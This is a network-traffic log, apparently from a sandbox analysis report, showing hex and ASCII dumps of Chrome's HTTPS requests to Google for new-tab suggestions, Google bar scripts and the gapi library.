2024-11-11 13:32:06 UTC	112	IN	Data Raw: 63 33 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 68 69 62 61 20 69 6e 75 20 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 22 2c 22 62 6f 78 20 6f 66 66 69 63 65 20 76 65 6e 6f 6d 20 33 22 2c 22 6a 61 63 6b 73 6f 6e 76 69 6c 6c 65 20 6a 61 67 75 61 72 73 20 6d 69 6e 6e 65 73 6f 74 61 20 76 69 6b 69 6e 67 73 22 2c 22 6e 6f 72 74 68 65 72 Data Ascii: c37)]}'["",["shiba inu cryptocurrency","box office venom 3","jacksonville jaguars minnesota vikings","norther
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 6e 20 6c 69 67 68 74 73 20 61 75 72 6f 72 61 20 66 6f 72 65 63 61 73 74 22 2c 22 63 6f 6c 6f 72 61 64 6f 20 73 6e 6f 77 66 61 6c 6c 20 74 6f 74 61 6c 73 22 2c 22 64 72 61 67 6f 6e 20 61 67 65 20 76 65 69 6c 67 75 61 72 64 22 2c 22 61 6d 61 7a 6f 6e 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 22 2c 22 69 6e 64 69 61 6e 61 20 68 6f 6f 73 69 65 72 73 20 62 61 73 6b 65 74 62 61 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 Data Ascii: n lights aurora forecast","colorado snowfall totals","dragon age veilguard","amazon black friday deals","indiana hoosiers basketball"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmc
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 64 69 39 47 54 30 52 74 62 79 39 68 63 58 70 53 63 58 64 74 52 56 49 79 64 79 74 42 56 6a 5a 36 4e 55 46 4b 4e 45 39 45 4c 31 5a 54 64 48 49 35 63 45 77 31 62 32 31 72 4d 47 35 57 61 46 6c 58 5a 45 46 54 54 56 6f 33 5a 44 5a 70 53 6e 4a 70 54 6e 42 71 51 6d 4a 53 5a 30 56 6f 61 44 42 46 57 6d 4a 35 5a 6a 6c 79 57 6a 4a 79 55 31 4e 52 63 54 42 35 51 6b 67 34 61 6a 56 56 65 54 46 4b 4e 46 64 68 61 54 5a 73 53 31 5a 70 62 31 56 77 55 32 64 56 63 46 4e 6e 56 58 42 54 5a 79 38 76 57 6a 6f 5a 52 48 4a 68 5a 32 39 75 49 45 46 6e 5a 54 6f 67 56 47 68 6c 49 46 5a 6c 61 57 78 6e 64 57 46 79 5a 45 6f 48 49 7a 67 79 4e 44 46 68 4d 31 4a 47 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 45 78 44 65 6b 31 54 61 6b 78 4d 53 30 55 30 65 6c 6c Data Ascii: di9GT0Rtby9hcXpScXdtRVIydytBVjZ6NUFKNE9EL1ZTdHI5cEw1b21rMG5WaFlXZEFTTVo3ZDZpSnJpTnBqQmJSZ0VoaDBFWmJ5ZjlyWjJyU1NRcTB5Qkg4ajVVeTFKNFdhaTZsS1Zpb1VwU2dVcFNnVXBTZy8vWjoZRHJhZ29uIEFnZTogVGhlIFZlaWxndWFyZEoHIzgyNDFhM1JGZ3Nfc3NwPWVKemo0dFZQMXpjMExDek1TakxMS0U0ell
2024-11-11 13:32:06 UTC	266	IN	Data Raw: 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 45 Data Ascii: levance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","ENTITY","QUERY","E
2024-11-11 13:32:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.185.132	443	7860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:06 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 13:32:06 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 13:32:06 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 13:32:06 UTC	336	IN	Data Raw: 32 37 61 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 27af)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 37 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700307,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_sc
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 5b 51 64 28 5c 22 64 Data Ascii: erCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003d[Qd(\"d
2024-11-11 13:32:06 UTC	1378	IN	Data Raw: 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 Data Ascii: .i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonc
2024-11-11 13:32:06 UTC	185	IN	Data Raw: 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 0d 0a Data Ascii: ll));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.html
2024-11-11 13:32:07 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 46 6f 72 5c 75 30 30 33 64 63 3a 74 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6f 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 74 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c Data Ascii: 8000For\u003dc:te.hasOwnProperty(d)?a.setAttribute(te[d],c):_.oe(d,\"aria-\")\|\|_.oe(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};te\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	142.250.185.132	443	7860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:06 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 13:32:07 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 13:32:06 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 13:32:07 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-11 13:32:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	142.250.184.206	443	7860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:09 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 13:32:09 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 08 Nov 2024 07:44:13 GMT Expires: Sat, 08 Nov 2025 07:44:13 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 280076 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 13:32:09 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 